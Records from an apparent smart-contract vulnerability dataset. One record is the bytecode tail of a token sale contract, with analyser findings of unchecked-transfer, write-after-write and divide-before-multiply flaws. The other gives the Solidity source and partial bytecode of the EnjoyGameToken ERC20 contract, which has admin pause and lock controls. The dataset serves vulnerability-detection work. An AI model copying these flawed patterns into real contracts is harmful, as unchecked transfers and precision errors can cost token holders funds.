fffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600b5481565b600060ff16600a0a65048c273950000281565b600081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112e357600080fd5b6000821115156112f257600080fd5b81600b8190555060019050919050565b60085481565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600081635b020c001115801561136b5750635b2aea7f8211155b1561137957600090506113a4565b81635bcbc180111580156113915750635bf49fff8211155b1561139f57600190506113a4565b600a90505b919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140757600080fd5b600080600181111561141557fe5b600a60019054906101000a900460ff16600181111561143057fe5b14151561143c57600080fd5b600091506001600a60016101000a81548160ff0219169083600181111561145f57fe5b0217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156114e3573d6000803e3d6000fd5b506114ec612546565b507f6823b073d48d6e3a7d385eeb601452d680e74bb46afe3255a7d778f3a9b1768160405160405180910390a1600191505090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611658576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116ec565b61166b838261252d90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60095481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b6040805190810160405280600381526020017f584343000000000000000000000000000000000000000000000000000000000081525081565b600d6020528060005260406000206000915054906101000a900460ff1681565b600060026004602082020160003690501415156118c557fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561190157600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561194f57600080fd5b600360009054906101000a900460ff16151561196a57600080fd5b6119bc83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252d90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a5183600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223d90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600360009054906101000a900460ff1681565b600a60019054906101000a900460ff1681565b600c6020528060005260406000206000915090505481565b60105481565b6000611bd982600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223d90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60006002600460208202016000369050141515611d5d57fe5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e4257600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff161415611ee657600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611ee0573d6000803e3d6000fd5b5061214a565b8291508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611f8457600080fd5b505af1158015611f98573d6000803e3d6000fd5b505050506040513d6020811015611fae57600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561208657600080fd5b505af115801561209a573d6000803e3d6000fd5b505050506040513d60208110156120b057600080fd5b810190808051906020019092919050505050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b505050565b600f5481565b600080600080600181111561216657fe5b600a60019054906101000a900460ff16600181111561218157fe5b14151561218d57600080fd5b6121968461260e565b915081600060ff16600a0a6103e80211806121bc5750600060ff16600a0a629892980282115b156121ca5760009250612236565b600e546121e28360095461223d90919063ffffffff16565b1115612232577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b6260095483604051808381526020018281526020019250505060405180910390a160009250612236565b8192505b5050919050565b600080828401905083811015151561225157fe5b8091505092915050565b6000600a60009054906101000a900460ff1615151561227957600080fd5b6122cb83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223d90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236083600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252d90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885846040518082815260200191505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b6000600181111561246e57fe5b600a60019054906101000a900460ff16600181111561248957fe5b14151561249557600080fd5b6124e734600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223d90919063ffffffff16565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600082821115151561253b57fe5b818303905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156125a457600080fd5b600a60009054906101000a900460ff161515156125c057600080fd5b6001600a60006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b60008060008042925061262083611351565b915060009050600282101561288557612644600b548661289190919063ffffffff16565b905080600060ff16600a0a6103e8021115801561266c5750600060ff16600a0a620186a00281105b1561269b57612698606461268a60658461289190919063ffffffff16565b6128c490919063ffffffff16565b90505b80600060ff16600a0a620186a002111580156126c25750600060ff16600a0a620f42400281105b156126f3576126f06103e86126e26103f78461289190919063ffffffff16565b6128c490919063ffffffff16565b90505b80600060ff16600a0a620f4240021115801561271a5750600060ff16600a0a624c4b400281105b1561274b576127486103e861273a6104018461289190919063ffffffff16565b6128c490919063ffffffff16565b90505b80600060ff16600a0a624c4b4002111580156127725750600060ff16600a0a628954400281105b156127a15761279e606461279060698461289190919063ffffffff16565b6128c490919063ffffffff16565b90505b80600060ff16600a0a62895440021115156127e0576127dd60646127cf606e8461289190919063ffffffff16565b6128c490919063ffffffff16565b90505b6000821415612884576128126103e86128046104328461289190919063ffffffff16565b6128c490919063ffffffff16565b9050600f5461282c8260095461223d90919063ffffffff16565b111561287c577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b6260095482604051808381526020018281526020019250505060405180910390a160009350612889565b809350612889565b5b8093505b505050919050565b600080828402905060008414806128b257508284828115156128af57fe5b04145b15156128ba57fe5b8091505092915050565b60008082848115156128d257fe5b04905080915050929150505600a165627a7a72305820d3470df7b85af3b691a514bceb30eac4314f8848f2b1004758f7d96a7c88c5950029
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,136
0xc5faadd1206ca91d9f8dd015b3498affad9a58bc
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * admin manager */ contract AdminManager { event ChangeOwner(address _oldOwner, address _newOwner); event SetAdmin(address _address, bool _isAdmin); //constract's owner address public owner; //constract's admins. permission less than owner mapping(address=>bool) public admins; /** * constructor */ constructor() public { owner = msg.sender; } /** * modifier for some action only owner can do */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * modifier for some action only admin or owner can do */ modifier onlyAdmins() { require(msg.sender == owner || admins[msg.sender]); _; } /** * change this constract's owner */ function changeOwner(address _newOwner) public onlyOwner { require(_newOwner != address(0)); emit ChangeOwner(owner, _newOwner); owner = _newOwner; } /** * add or delete admin */ function setAdmin(address _address, bool _isAdmin) public onlyOwner { emit SetAdmin(_address, _isAdmin); if(!_isAdmin){ delete admins[_address]; }else{ admins[_address] = true; } } } /** * pausable token */ contract PausableToken is StandardToken, AdminManager { event SetPause(bool isPause); bool public paused = true; /** * modifier for pause constract. not contains admin and owner */ modifier whenNotPaused() { if(paused) { require(msg.sender == owner || admins[msg.sender]); } _; } /** * @dev called by the owner to set new pause flags * pausedPublic can't be false while pausedOwnerAdmin is true */ function setPause(bool _isPause) onlyAdmins public { require(paused != _isPause); paused = _isPause; emit SetPause(_isPause); } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * lockadble token */ contract LockableToken is PausableToken { /** * lock data struct */ struct LockData { uint256 balance; uint256 releaseTimeS; } event SetLock(address _address, uint256 _lockValue, uint256 _releaseTimeS); mapping (address => LockData) public locks; /** * if active balance is not enought. deny transaction */ modifier whenNotLocked(address _from, uint256 _value) { require( activeBalanceOf(_from) >= _value ); _; } /** * active balance of address */ function activeBalanceOf(address _owner) public view returns (uint256) { if( uint256(now) < locks[_owner].releaseTimeS ) { return balances[_owner].sub(locks[_owner].balance); } return balances[_owner]; } /** * lock one address * one address only be locked at the same time. * because the gas reson, so not support multi lock of one address * * @param _lockValue how many tokens locked * @param _releaseTimeS the lock release unix time */ function setLock(address _address, uint256 _lockValue, uint256 _releaseTimeS) onlyAdmins public { require( uint256(now) > locks[_address].releaseTimeS ); locks[_address].balance = _lockValue; locks[_address].releaseTimeS = _releaseTimeS; emit SetLock(_address, _lockValue, _releaseTimeS); } function transfer(address _to, uint256 _value) public whenNotLocked(msg.sender, _value) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotLocked(_from, _value) returns (bool) { return super.transferFrom(_from, _to, _value); } } contract EnjoyGameToken is LockableToken { event Burn(address indexed _burner, uint256 _value); string public constant name = "EnjoyGameToken"; string public constant symbol = "EGT"; uint8 public constant decimals = 6; /** * constructor */ constructor() public { //set totalSupply totalSupply = 10**16; //init balances balances[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } /** * transfer and lock this value * only called by admins (limit when setLock) */ function transferAndLock(address _to, uint256 _value, uint256 _releaseTimeS) public returns (bool) { //at first, try lock address setLock(_to,_value,_releaseTimeS); if( !transfer(_to, _value) ){ //revert with lock revert(); } return true; } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610122578063095ea7b3146101b257806318160ddd1461021757806323b872dd14610242578063313ce567146102c75780633e05c943146102f8578063429b62e51461034f5780634b0bddd2146103aa57806359f769a9146103f95780635c975abb146104505780635de9a1371461047f57806366188463146104dd57806370a082311461054257806384d5d944146105995780638da5cb5b1461060857806395d89b411461065f578063a6f9dae1146106ef578063a9059cbb14610732578063bedb86fb14610797578063d73dd623146107c6578063dd62ed3e1461082b575b600080fd5b34801561012e57600080fd5b506101376108a2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017757808201518184015260208101905061015c565b50505050905090810190601f1680156101a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101be57600080fd5b506101fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108db565b604051808215151515815260200191505060405180910390f35b34801561022357600080fd5b5061022c6109b5565b6040518082815260200191505060405180910390f35b34801561024e57600080fd5b506102ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109bb565b604051808215151515815260200191505060405180910390f35b3480156102d357600080fd5b506102dc6109ec565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030457600080fd5b5061034d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506109f1565b005b34801561035b57600080fd5b50610390600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf7565b604051808215151515815260200191505060405180910390f35b3480156103b657600080fd5b506103f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610c17565b005b34801561040557600080fd5b5061043a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d9a565b6040518082815260200191505060405180910390f35b34801561045c57600080fd5b50610465610ec9565b604051808215151515815260200191505060405180910390f35b34801561048b57600080fd5b506104c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610edc565b604051808381526020018281526020019250505060405180910390f35b3480156104e957600080fd5b50610528600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f00565b604051808215151515815260200191505060405180910390f35b34801561054e57600080fd5b50610583600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fda565b6040518082815260200191505060405180910390f35b3480156105a557600080fd5b506105ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611023565b604051808215151515815260200191505060405180910390f35b34801561061457600080fd5b5061061d611050565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561066b57600080fd5b50610674611076565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106b4578082015181840152602081019050610699565b50505050905090810190601f1680156106e15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106fb57600080fd5b50610730600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110af565b005b34801561073e57600080fd5b5061077d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611244565b604051808215151515815260200191505060405180910390f35b3480156107a357600080fd5b506107c4600480360381019080803515159060200190929190505050611273565b005b3480156107d257600080fd5b50610811600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061139d565b604051808215151515815260200191505060405180910390f35b34801561083757600080fd5b5061088c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611477565b6040518082815260200191505060405180910390f35b6040805190810160405280600e81526020017f456e6a6f7947616d65546f6b656e00000000000000000000000000000000000081525081565b6000600560009054906101000a900460ff16156109a357600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109975750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156109a257600080fd5b5b6109ad83836114fe565b905092915050565b60005481565b60008382806109c983610d9a565b101515156109d657600080fd5b6109e18686866115f0565b925050509392505050565b600681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a965750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610aa157600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442111515610af157600080fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555080600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055507f1af17a8336345b6fee396227f6f445a90923c4d41994f083e9b9dc5d23ab9b19838383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b60046020528060005260406000206000915054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c7357600080fd5b7f55a5194bc0174fcaf12b2978bef43911466bf63b34db8d1dd1a0d5dcd5c41bea8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a1801515610d3d57600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff0219169055610d96565b6001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154421015610e8157610e7a600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cc90919063ffffffff16565b9050610ec4565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b600560009054906101000a900460ff1681565b60066020528060005260406000206000915090508060000154908060010154905082565b6000600560009054906101000a900460ff1615610fc857600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fbc5750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610fc757600080fd5b5b610fd283836116e5565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006110308484846109f1565b61103a8484611244565b151561104557600080fd5b600190509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f454754000000000000000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561110b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561114757600080fd5b7f9aecf86140d81442289f667eb72e1202a8fbb3478a686659952e145e85319656600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a180600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033828061125283610d9a565b1015151561125f57600080fd5b6112698585611976565b9250505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806113185750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561132357600080fd5b801515600560009054906101000a900460ff1615151415151561134557600080fd5b80600560006101000a81548160ff0219169083151502179055507f140eb9f8b591138e129e4caf389c92df4f0545b902523eee9e63153ecdb2026e81604051808215151515815260200191505060405180910390a150565b6000600560009054906101000a900460ff161561146557600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806114595750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561146457600080fd5b5b61146f8383611a50565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600560009054906101000a900460ff16156116b857600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116ac5750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156116b757600080fd5b5b6116c3848484611c4c565b